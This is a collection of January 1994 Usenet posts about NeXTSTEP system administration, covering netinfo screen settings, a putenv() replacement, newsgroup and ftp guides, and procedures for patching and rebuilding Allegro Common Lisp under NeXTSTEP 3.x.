In article <1994Jan9.223523.14785@kakwa.ucs.ualberta.ca>
jmack@skye.phys.ualberta.ca writes:
>
> They will be in the netinfo database:
>
> 252 skye# niutil -read . /screens/MegaPixel
> name: MegaPixel
> slot: 0
> unit: 0
> bounds: 0 1120 0 832
> active: 1
>
> There will also be one for /screens/NeXTdimension on 2 headed systems.
>
> modify the "active" attribute with niutil to the one you want.
> (and change the other one to 0 )
OOPS!. on 3.x machines this will be in /screens/localconfig:
53 [4:13pm lassie]:/Users/jmack>niutil -read . /localconfig/screens/MegaPixel
name: MegaPixel
slot: 0
unit: 0
bounds: 0 1120 0 832
active: 1
_writers: *
54 [4:13pm lassie]:/Users/jmack>niutil -read .
/localconfig/screens/NeXTdimension
name: NeXTdimension
slot: 2
unit: 0
bounds: 1120 2240 0 832
active: 0
_writers: *
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: beeman@cats.ucsc.edu (Adam Beeman)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail sent with wrong date/time?
Date: 9 Jan 1994 23:50:49 GMT
Organization: University of California, Santa Cruz
Message-ID: <2gq58p$qkq@darkstar.UCSC.EDU>
Summary: strange behavior reported but not reproduced
Hi, maybe someone has seen the following problem before...
Recently, several people have mailed me to say that mail originating
from my machine (samsara.circus.com: a color slab with 14.4k slip, running
3.2) is arriving with dates that are off by anywhere from 36 hours to
10 days. However, the system time seems to be okay, and all my attempts
to duplicate this behavior by mailing my other accounts have failed to
reproduce this behavior. Any clues?
Thanks in advance.
-Adam
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From: robm@ncsa.uiuc.edu (Rob McCool)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher
Subject: Re: Help with "undefined symbols"!
Followup-To: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher
Date: 10 Jan 1994 00:10:32 GMT
Organization: NCSA
Distribution: world
Message-ID: <2gq6do$ck4@vixen.cso.uiuc.edu>
References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu>
John Franks (john@math.nwu.edu) wrote:
: It is telling you that it can't find the function putenv in any library.
: I would very much like to know about this too. Is there no putenv()
: in NeXTStep? I know that NCSA httpd, uses putenv(), does it compile
: under NeXTSTep? What do all you NeXT owners do when you need putenv()?
Here's what I use on systems that don't have it available...
#ifdef NEED_PUTENV
void putenv(char *s) {
extern char **environ;
int i;
char **oldenv;
for(i=0;environ[i]!=NULL;i++) ;
oldenv = environ;
environ = (char **) malloc((i+2)*sizeof(char *));
if(i>0) memcpy(environ, oldenv, i*sizeof(char *));
environ[i] = s;
environ[i+1] = NULL;
}
#endif
--
Rob McCool, robm@ncsa.uiuc.edu
Software Development Group, National Center for Supercomputing Applications
It was working ten minutes ago, I swear...
<A HREF="http://hoohoo.ncsa.uiuc.edu/~robm/sg.html">A must see.</A>
Newsgroups: comp.sys.next.sysadmin
From: steve@eps.RAIN.COM (Steve Kornreich)
Subject: Non Netinfo Network??
Sender: news@percy.rain.com (Jeff Beadles)
Organization: /etc/organization
Date: Mon, 10 Jan 1994 05:10:00 GMT
Message-ID: <CJEECo.BD2@percy.rain.com>
I am setting up a NSFIP system at home and I wil also be running Transys
PNI SLIP. PNI reccommends to set up a Non Netinfo system.. What steps do I
need to take to make my system a Non Netinfo system..?
--
Steve Kornreich
steve@eps.rain.com
NeXT Mail OK..
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 9 Jan 1994 23:52:13 -0500
Organization: Next Announcements
Message-ID: <2gqmtt$bap@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
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From: S A McIntyre <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: Help with "undefined symbols"!
Date: 10 Jan 1994 13:25:16 GMT
Organization: University of Durham, Durham, UK
Sender: dps3sam@altair (S A McIntyre)
Distribution: world
Message-ID: <2grkvs$lj6@mercury.dur.ac.uk>
References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu> <2gq6do$ck4@vixen.cso.uiuc.edu>
There seem to be several things missing from NeXT's mach that programs
I pick up off the net seem to like, as a result I've grabbed the bsd
source, or found the source elsewhere and have created a
/usr/local/lib/missing which has the following:
getenv.o putenv.o setenv.o strdup.o
There is probably some clever way to add all of these into a libmissing.a,
but I'm not cunning enough to know how to do that just yet.
Scott
Newsgroups: comp.sys.next.sysadmin
From: Robert_La_Ferla@hot.com
Subject: Re: How to add pictures for sender outside our A/C ?
Message-ID: <1994Jan10.004302.5648@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <CJBDow.1vz@eng_ser1.ie.cuhk.hk>
Date: Mon, 10 Jan 1994 00:43:02 GMT
Change the "@" to a "." for the TIFF filename. I believe you'll also
need to make a "passwd" file in /LocalLibrary/Images with entries for
each user. There is a NeXTanswer about this available from
ftp.next.com
Robert La Ferla
Hot Technologies
NEXTSTEP ISV
In article <CJBDow.1vz@eng_ser1.ie.cuhk.hk> skwong@cuse1.se.cuhk.hk
(Wong Sai Kee (Graduate Assistant)) writes:
> I had successfully added pictures for NeXTMail in
>
> /LocalLibrary/Images/People/*.tiff
>
> Can I add pictures for peoples outside this email server ?
>
> I tried to use: user@www.xxx.yyy.zzz.tiff but failed.
>
> Mr.WONG Sai Kee
> Graduate Student
From: wilkie@PROBLEM_WITH_INEWS_GATEWAY_FILE (Alexander Wilkie)
Newsgroups: comp.sys.next.sysadmin
Subject: Driver beta test volunteer!
Date: 10 Jan 1994 14:27:28 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2grokg$97k@email.tuwien.ac.at>
I happen to have a Diamond Viper VB card now running in VGA B/W mode, which is
downright ghastly. I have heard about some company developing a driver for
this card. If someone knows whether these people
a) need beta testers or
b) distribute beta versions of their drivers
please tell...
thanks in advance
A.W.
--
* _ * Alexander Wilkie *
* / \ \ / * wilkie@cslab.tuwien.ac.at *
* /---\ \ /\ / * Technical University Vienna *
* / \ \/ \/ * Austria / Europe *
* * (NeXTMail o.k.) *
From: kov@onyx.dartmouth.edu (Ken Overton)
Newsgroups: comp.sys.next.sysadmin
Subject: executing .cshrc
Date: 10 Jan 1994 14:02:25 GMT
Organization: Dartmouth College, Hanover, NH, USA
Distribution: world
Message-ID: <2grn5h$rau@dartvax.dartmouth.edu>
Keywords: .cshrc, shell scripts
During a reboot, fsck found some file system inconsistencies but I don't
know which files they pertain to. The problem is when I login as myself,
the terminal won't execute the .cshrc file.
This makes me wonder: how is it that rc files are executed in the first
place? What if I just made mine into an executable and f it to my csh?
KOV
From: brown@lazlo.ccit.duq.edu (Jason Brown)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTstep FIP on Dell with DTP 2012
Date: 10 Jan 1994 14:45:07 GMT
Organization: Duquesne University, Pittsburgh, PA
Message-ID: <2grplj$itt@godot.cc.duq.edu>
Hi,
I was wondering if anyone has had any experience installing NeXTstep
for Intel Processors on a Dell 66Mhz, EISA with DTP 2012 SCSI card with the
added bonus of having a Pro Audio Sound card in the machine. The Pro Audio
set up appears to have an additional SCSI attachment that I think may be
causing me problems.
I've installed NS/FIP on numerous Dell computers but none with this
configuration. When I tried to do the install, the installation software
reports that there are no SCSI devices in the machine.
The machine has a SCSI hard drive and when I connected the CD-ROM I
set it's SCSI id to 1 as usual.
If anyone knows anything unusual about this configuration I'd
appreciate hearing about it. Thanks.
--Jason Brown
(NeXT Mail Welcome)
brown@next.duq.edu
From: bil@ccrma.Stanford.EDU (Bill Schottstaedt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Allegro CL 3.1.20 on NS3.2
Date: 10 Jan 1994 15:38:28 GMT
Organization: Stanford University
Message-ID: <2grspk$ab2@nntp2.Stanford.EDU>
References: <2gkjup$97s@mckinley.cit.macalstr.edu>
In article <2gkjup$97s@mckinley.cit.macalstr.edu>
akonstan@budapest.math.macalstr.edu (Alexander Konstantinou) writes:
> I am looking for a patch that was available to get the Allegro Common
Lisp
> version 3.1.20 running on NS3.0.
To go from NS3.0 to 3.2 using the ACL 3.1.2 that ran on 3.0,
you need only change the LIBRARIES statement in build/config
to:
LIBRARIES = -lNeXT_s -ldsp -lsys_s -lsys_p
or leave out -ldsp if you don't need it.
To go from the 2.1 version to 3.0:
(Sorry but quoting this message causes my NewsGrazer to refuse to
post it!)
"
In comp.sys.next.programmer article <1992Oct9.042738.22990@ads.com> Bill
Vrotney wrote:
I thought it was going to take me longer to get a method out for doing
this
but the ucl.o file that I had was not the Franz patched file, so it is
actually pretty simple as long as you update to the Franz patched ucl.o.
The following is a procedure for fixing Allegro CL 3.1.20 so that it
works
under NeXTstep 3.0. I don't have 3.0 so I need someone to try this out
and
report back to this news group.
Warning!!! (from Franz) This procedure results in creating a new ucl.o
binary file. You may distribute this method but not the resulting ucl.o
file.
You should find all of the files mentioned here on your ACL
distribution
floppies. If you do not have the Franz patch mentioned below you will
have to ask Franz for it.
1. You need to patch your existing ucl.o file, if it is not
already patched, with an existing patch from Franz. This is
done with an existing shell script called
install_patch.sh
and an existing patch file called
patch.uu
To verify that you have done the right thing, after this patch
is installed the ucl.o file should be 612364 bytes.
2. Then you edit the binary file in emacs and save the results.
You are going to edit your existing ucl.o file so that you
might
want to save the existing ucl.o to ucl.orig.o. Then run emacs
and do:
find-file ucl.o
replace-string _rld _jld
replace-string __bcopy _bcopy^@
save-buffer
The ^@ above is the null character (000 byte) and can be
entered in emacs using
C-q C-<space>
and will look in an emacs buffer as a single character ^@
and NOT two characters.
3. You then reinstall ACL as usual.
--
Bill Vrotney
BAH/Advanced Decision Systems
"
Newsgroups: comp.sys.next.sysadmin
From: freimer@cs.cornell.edu (Robert Freimer)
Subject: Re: Allegro CL 3.1.20 on NS3.2
Message-ID: <1994Jan10.155758.14003@cs.cornell.edu>
Organization: Cornell Univ. CS Dept, Ithaca NY 14853
References: <2gkjup$97s@mckinley.cit.macalstr.edu>
Date: Mon, 10 Jan 1994 15:57:58 GMT
akonstan@budapest.math.macalstr.edu (Alexander Konstantinou) writes:
>I am looking for a patch that was available to get the Allegro Common Lisp
>version 3.1.20 running on NS3.0. I had a copy of the patch but my backup
>media got corrupted and I lost it. Although I am not sure that the same
>patch would work for NS3.2 I would like to give it a try.
I'm reposting my procedure for using Lisp under 3.1. I only recently
received 3.2, so I don't know if it will work with 3.2, but I suspect
it will. Additional steps were required for 3.1 (versus 3.0), since
NeXT switched from gcc 1.93 to 2.2.2.
-Robert
robert@caliper.com
---------------------------------------------------------------------------
Using Allegro Common Lisp 3.1.20 under NeXTSTEP 3.1
When I upgraded my cube to 3.1, I discovered that ACL no longer
worked. I tried rebuilding and received an error that _alloca was
undefined. This is caused by the switch from GNU C 1.93 to 2.2.2.
alloca() is no longer in the system library and now is an internal
function to the C compiler. The fix is to rebuild with the non-shared
versions of the 3.0 libraries.
The following procedure for fixing a virgin Allegro Common Lisp is
modified from a comp.sys.next.programmer article by Bill Vrotney. You
should find all of the files mentioned here on your ACL distribution.
I refer to the top level directory of this distribution as ACL/ and
the build directory ACL/build. For upgrading from a system that
worked with 3.0, follow steps 3, 4, and 6.
Warning!!! (from Franz Inc.) This procedure results in creating a new
ucl.o binary file. You may distribute this method but not the
resulting ucl.o file.
1. Install the MusicKit_3.1.pkg available by anonymous ftp from
ccrma-ftp.stanford.edu. The Music and DSP libraries are no longer
supported by NeXT. This package includes the 3.1 version of libdsp.
The other option is to drop -ldsp from the LIBRARIES statement in step
4 below.
2. First look at the byte size of the file ACL/build/ucl.o, if the
size is 612364 bytes then skip to step 3. Otherwise look at the file
ACL/dumplispPatch. This is a shell archive that will patch ucl.o with
the "dump lisp" patch. More precisely
cd ACL
cp dumplispPatch build
cd build
/bin/sh dumplispPatch
/bin/sh install_patch.sh
Now ucl.o should be 612364 bytes long. Tthe original ucl.o will be
saved in a file called ucl_orig.o.
3. Create symbolic links from the 3.0 non-shared libraries on CDROM.
This saves space on your hard disk, since the libraries should not be
needed, except when rebuilding ACL. Another option is to copy the
libraries.
ln -s /NeXTSTEP_3.0/lib/libsys_p.a /lib/libsys3.0_p.a
ln -s /NeXTSTEP_3.0/usr/lib/libNeXT_p.a /usr/lib/libNeXT3.0_p.a
4. Edit the file ACL/build/config. You might want to save the orginal
config file. Replace the following lines
LIBRARIES = -lNeXT_s -ldsp_s -lsys_s
USYMS = -u libsys_s -u libNeXT_s -u libdsp_s
with:
LIBRARIES = -lNeXT3.0_p -ldsp -lsys3.0_p
USYMS =
5. Edit the new binary file ACL/build/ucl.o in emacs and save the
results. Go to ACL/build directory, run emacs and
find-file ucl.o
replace-string _rld _jld
replace-string __bcopy _bcopy^@
save-buffer
The ^@ above is the null character (000 byte) and can be entered in
emacs using
C-q C-<space>
and will look in an emacs buffer as a single character ^@ and NOT two
characters.
6. Finally reinstall ACL as usual. You do this by going to the
ACL/build directory and
/bin/sh config
7. The online version of the manual (cl-manual.tar.Z) is available by
anonymous ftp from sonata.cc.purdue.edu, under /pub/next/docs. Also
grab fi-gnu-clman.tar.Z, which contain the emacs lisp code to index
the manual.
--
-Robert
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
From: vonb@iitmax.iit.edu (Robert von Borstel)
Subject: Next DialBack capability s/w
Message-ID: <1994Jan10.134447.27367@iitmax.iit.edu>
Keywords: Dialback,Supra,Nxfax
Organization: Illinois Institute of Technology, Chicago
Distribution: usa
Date: Mon, 10 Jan 94 13:44:47 GMT
Before I reinvent the wheel, I was wondering if anyone has written or
can point me to some software that allows one to login into a Next
via a connected modem to it's serial port (Supra in this case) and
then have the Next start a daemon that will have the modem disconnect
me and call me back at home to reconnect.
I.E one can look at this as secure dialback or reversing phone
charges :) I also have NxFax, however I don't think that will present
a problem.
Thanx.
--
Robert Von Borstel . Internet:vonb@iitmax.iit.edu
Illinois Institute of Technology . NeXTmail:vonb@fred.iit.edu
Academic Computing Center (312) 567 5809
10 West 31St Street Chicago, Ill 60616
From: bjorn@doek.uoregon.edu (Bjorn S. Fjeld Pettersen)
Newsgroups: comp.sys.next.sysadmin
Subject: DoveFax as dedicated faxmodem on port B
Date: 10 Jan 1994 16:53:27 GMT
Organization: University of Oregon
Message-ID: <2gs167$8kp@pith.uoregon.edu>
Can anyone tell me how to set up the DoveFax as a dedicated fax modem on port
B? I tried e-mailing Dove, but my mail bounced. I'm running 3.0 on a
NeXTStation
--bjorn
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bjorn@doek.uoregon.edu NextMail Welcomed
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From: obrooks@worf.hssc.ksc.nasa.gov (Oscar Brooks)
Subject: GNU *.gz Help?
Message-ID: <1994Jan10.172259.15690@dale.ksc.nasa.gov>
Keywords: GNU, Compression
Sender: news@dale.ksc.nasa.gov
Organization: NASA
Date: Mon, 10 Jan 1994 17:22:59 GMT
I have received numerous file with the extensions *.qz.
Could someone please tell me were I can pickup the binary
version of the program to uncompress these files? I need it
for black hardware. Please help, this is extremely annoying.
O
------------------------------------------------
Oscar Brooks
Mail Code: DL-DSD-24
Kennedy Space Center, Fla. 32899
Internet: obrooks@dale.ksc.nasa.gov <NeXTMail OK>
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Allegro CL 3.1.20 on NS3.2
Message-ID: <1994Jan9.115737.709@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <2gkjup$97s@mckinley.cit.macalstr.edu>
Date: Sun, 9 Jan 1994 11:57:37 GMT
In article <2gkjup$97s@mckinley.cit.macalstr.edu>
akonstan@budapest.math.macalstr.edu (Alexander Konstantinou) writes:
> I am looking for a patch that was available to get the Allegro
> Common Lisp version 3.1.20 running on NS3.0. I had a copy of
> the patch but my backup media got corrupted and I lost it.
> Although I am not sure that the same patch would work for NS3.2
> I would like to give it a try.
>
> >
Following is the original article posted for 3.0. You have to note one
problem in NS3.2: Because the compiler/libs have changed under 3.1+2, you
have to link a copy of alloca(). You can get GNU-alloca and link it as I
did in 'make.in':
LIBRARIES = alloca.o -lNeXT_s -lsys_s
Now the original posting:
--------------- cut here ------------------------
From: bvrotney@ADS.COM (Bill Vrotney)
Subject: Fixing Allegro CL 3.1.20 to work under NS 3.0
Date: Fri, 9 Oct 1992 04:27:38 GMT
I though it was going to take me longer to get a method out for doing
this
but the ucl.o file that I had was not the Franz patched file, so it is
actually pretty simple as long as you update to the Franz patched ucl.o.
The following is a procedure for fixing Allegro CL 3.1.20 so that it
works
under NeXTstep 3.0. I don't have 3.0 so I need someone to try this out
and
report back to this news group.
Warning!!! (from Franz) This procedure results in creating a new ucl.o
binary file. You may distribute this method but not the resulting ucl.o
file.
You should find all of the files mentioned here on your ACL
distribution
floppies. If you do not have the Franz patch mentioned below you will
have to ask Franz for it.
1. You need to patch your existing ucl.o file, if it is not
already patched, with an existing patch from Franz. This is
done with an existing shell script called
install_patch.sh
and an existing patch file called
patch.uu
To verify that you have done the right thing, after this patch
is installed the ucl.o file should be 612364 bytes.
2. Then you edit the binary file in emacs and save the results.
You are going to edit your existing ucl.o file so that you
might
want to save the existing ucl.o to ucl.orig.o. Then run emacs
and do:
find-file ucl.o
replace-string _rld _jld
replace-string __bcopy _bcopy^@
save-buffer
The ^@ above is the null character (000 byte) and can be
entered in emacs using
C-q C-<space>
and will look in an emacs buffer as a single character ^@
and NOT two characters.
3. You then reinstall ACL as usual.
For step (1.), I believe for most of you if you go to your distribution
directory called ACL there is a file called
dumplispPatch
this is a shell archive file and if you follow the instructions there you
should get the same results, ie. a new ucl.o file resulting in 612364
bytes.
If your existing ucl.o file is already 612364 bytes it probably already
had
been patched with the "dump lisp" patch.
--
Bill Vrotney
BAH/Advanced Decision Systems
From: bvrotney@ADS.COM (Bill Vrotney)
Subject: Re: Fixing Allegro CL 3.1.20 to work under NS 3.0
Date: Fri, 9 Oct 1992 22:56:32 GMT
I am reposting and reformulating these instructions for fixing Allegro CL
3.1.20 to work under NeXTstep 3.0. Since my original posting some people
have tried and succeeded to get a running ACL under 3.0 but only after
including some fixes for the dsp library references that I include below
(thanks people and thanks to the originators of the emacs hack that wish
to
remain anonymous). I also clarify the "dump lisp" patch.
The following is a procedure for fixing Allegro CL 3.1.20 so that it
works
under NeXTstep 3.0. You should find all of the files mentioned here on
your
ACL distribution. We refer to the top level directory of this
distribution
as ACL/ and the build directory ACL/build.
Warning!!! (from Franz) This procedure results in creating a new ucl.o
binary file. You may distribute this method but not the resulting
ucl.o
file.
1. First look at the byte size of the file ACL/build/ucl.o, if the
size
is 612364 bytes then skip to step 2. Otherwise look at the file
ACL/dumplispPatch. This is a shell archive that will patch ucl.o
with
the "dump lisp" patch. More precisely
cd ACL
cp dumplispPatch build
cd build
/bin/sh dumplispPatch
/bin/sh install_patch.sh
Now ucl.o should be 612364 bytes long. (the original ucl.o will be
saved in a file called ucl_orig.o).
2. Next edit the file ACL/build/config (you might want to save the
orginal
config file). In that file you will see two statements:
LIBRARIES = -lNeXT_s -ldsp_s -lsys_s
USYMS = -u libsys_s -u libNeXT_s -u libdsp_s
In the LIBRARIES statement, change -ldsp_s to -ldsp
In the USYMS statement, delete the -u libdsp_s
3. Next you edit the new binary file ACL/build/ucl.o in emacs and
save the results. Go to ACL/build directory, run emacs and
find-file ucl.o
replace-string _rld _jld
replace-string __bcopy _bcopy^@
save-buffer
The ^@ above is the null character (000 byte) and can be
entered in emacs using
C-q C-<space>
and will look in an emacs buffer as a single character ^@
and NOT two characters.
4. Finally reinstall ACL as usual. You do this by going to the
ACL/build directory and
/bin/sh config
--
Bill Vrotney
BAH/Advanced Decision Systems
From: anderson@sapir.cog.jhu.edu (Stephen Anderson)
Subject: A bad day [was: Re: Fixing Allegro CL 3.1.20 to work under NS
3.0]
Date: 9 Oct 92 20:47:25 GMT
Great, I thought. When I installed 3.0, I discovered right away that
lisp was broken, and having read about why, I had decided there was no
point in keeping all those files around so I pitched them until Franz
comes out with a fix. Now that there's a (possible) fix available,
I'll go and re-install it.
Now I'm one of those who paid for maintenance from Franz, so I have an
eight-floppy set of stuff (including emacs sources, etc.) that they
sent me directly. So I duly loaded all that. But reading Bill's posts,
I realized that my ucl.o file wasn't yet properly patched. Patched?
What patch? Franz never said anything about any patch. Maybe it's on
uunet....nope, nothing for NeXT there in the vendor/franz directory.
Hmmm. Well, maybe it's on that version of lisp that NeXT sent me
several months after I had received (what I understood to be) the same
package from Franz. Load that, look at the installer, sure enough,
there's the patch script. OK, reinstall lisp, run the patch script.
Then follow Bill's directions to edit ucl.o so it'll work with 3.0.
Now into the "build" directory to rebuild.
But wait: after asking all the usual questions, config compiles
"static2" goes to load ucl, and ld chokes. "Can't find library
libdsp_s.a". Whoops, where's it gone? Off to the 3.0 release notes: I
am reminded there that nearly all the dsp stuff has been "unbundled"
and left to ccrma to maintain. On the other hand, it is claimed that
"The NeXT 3.0 release includes the shared libraries libdsp_a and
libmusic_s for binary compatibility with 2.0/1 apps." I'm not sure
what "libdsp_a" is supposed to be (though I'd guess this is supposed
to be "libdsp_s.a"), but whatever it is, it isn't there (or on the 3.0
CD). So they must have put all of it on ccrma. OK, off to ftp-land,
download 10 Mbytes of musickit stuff (one big pkg.tar file), untar it,
figure out where it's going, install it: many megabytes later, I see
that I now do indeed have /usr/local/lib/libdsp.a. Back to cl/build;
try again; again, ld chokes, because even if I do have
"/usr/local/lib/libdsp.a", I still don't have /usr/lib/libdsp_s.a,
which is what it wants. So I'm still stuck. And while the musickit
documentation mentions this library, it doesn't tell me where to find
it or include it. Try editing config to remove the _s from the library
specification: I have the impression that what I'm doing is
substituting unshared for shared libraries, maybe it'll work...ok,
there are two places in config where libdisp_s.a seems to be
mentioned. Once as a library (-l dsp_s), once as the flag -u libdsp_s.
Remove the _s from both. Try again. Again, ld chokes: this time
"undefined symbol: libdsp". Well, maybe that's the fault of that -u
flag: what happens if we just comment that out? Eureka! it works! At
least it chugs along through the compilation and builds, loads, and
dumps a lisp that (at least at first glance) actually runs! Of
course, I haven't tried seeing if the lisp-emacs interprocess
communication still works (probably not, and with no sources for the
version of emacs NeXT distributes with 3.0, no way to apply the
Franz-supplied patches to make a new one), or even if the lisp can
cope with anything but (* 2 2), but it's better than it was a week
ago.
This has all taken a lot of time, diskspace, etc. If it were all in
the service of some freeware utility that a kind soul had donated to
the world, that would be one thing, but all I'm trying to do is get
the !@#$%^&* ACL that I've paid for to work! I don't want to do music
development, etc., or to use up that much disk space on it. I don't
want to figure out how to build all this stuff: I just want my lisp to
work again. But the combination of NeXT's agressive unbundling policy
(first abandoning lisp itself, and now the dsp stuff: actually, I
don't know why I need the dsp stuff to run lisp, but that's life) and
Franz's lack of any real attention to the problem so far has wasted
most of my day while getting me only partway back to where I was a
couple of weeks ago.
OK, sorry, there was a positive point to this: namely, to tell other
people in similar situations who need to rebuild their lisp from
scratch to apply the couple of changes that Bill posted (a) where to
find dumplispPatch if you're using Franz's own distribution; and (b)
that you'll need to restore the dsp library too, and edit the config
script to use the one you can get from ccrma, before you can get the
build to go through.
It would still be nice if someone were to figure out how to make a new
emacs (maybe even an up to date one! 18.55? still????) for 3.0 with
Franz's modifications installed..... And maybe I'll do some dsp
development after all. I don't have to use lisp for that.
Grumpily,
--Steve Anderson
From: bil@cmn16.Stanford.EDU (Bill Schottstaedt)
Subject: Re: A bad day [was: Re: Fixing Allegro CL 3.1.20 to work under
NS 3.0]
Date: Fri, 9 Oct 92 22:46:42 GMT
Bill Vrotney asks me to post something about this -- the short
form is, yes, ACL 3.1.20 works on NeXT 3.0 systems if you
follow Mr Vrotney's suggestions and make the following
changes to the build/config file:
If you want the (optional) dsp code, in the LIBRARIES statement,
change -ldsp_s to -ldsp and change the USYMS statement to:
USYMS = -u _SNDReadSoundfile -u _SNDStartPlaying -u _SNDWait -u _SNDFree
-u _SNDStop -u _SNDSetHost -u _SNDAcquire -u _snddriver_get_device_parms
-u _SNDRelease -u _snddriver_set_device_parms -u _snddriver_get_volume -u
_snddriver_set_volume -u _snddriver_set_ramp -u _DSPOpenNoBoot -u
_DSPClose -u _valloc -u libsys_s -u libNeXT_s
or whatever (you apparently need to explicitly -u every function
you want to call later -- this happens to be the set that I call).
And in any load statement calling up foreign libraries, omit the
:system-libraries statement. I haven't gotten around to
making the parallel USYMS statement for the midi code. I ran
the new lisp without the dsp library at all (i.e. just delete
-l libdsp_s and -u libdsp) and didn't notice anything wrong.
I'll put a version of libdsp.a on our ftp server (ccrma-ftp.stanford.edu)
so that people don't have to get the entire MusicKit just for that
one file.
I'm assured there's nothing illegal about this post...
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Help with "undefined symbols"!
Message-ID: <1994Jan9.120127.821@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <2gk3kg$qo8@marble.Britain.EU.net>
Date: Sun, 9 Jan 1994 12:01:27 GMT
In article <2gk3kg$qo8@marble.Britain.EU.net> charlesa@learned.co.uk
writes:
>
>
> Can anybody suggest what "ld: Undefined symbols: _putenv" is telling
me??
>
It tells you that putenv() is not defined. What else ?
To define it, you have to compile putenv.c and link it together with the
other objects.
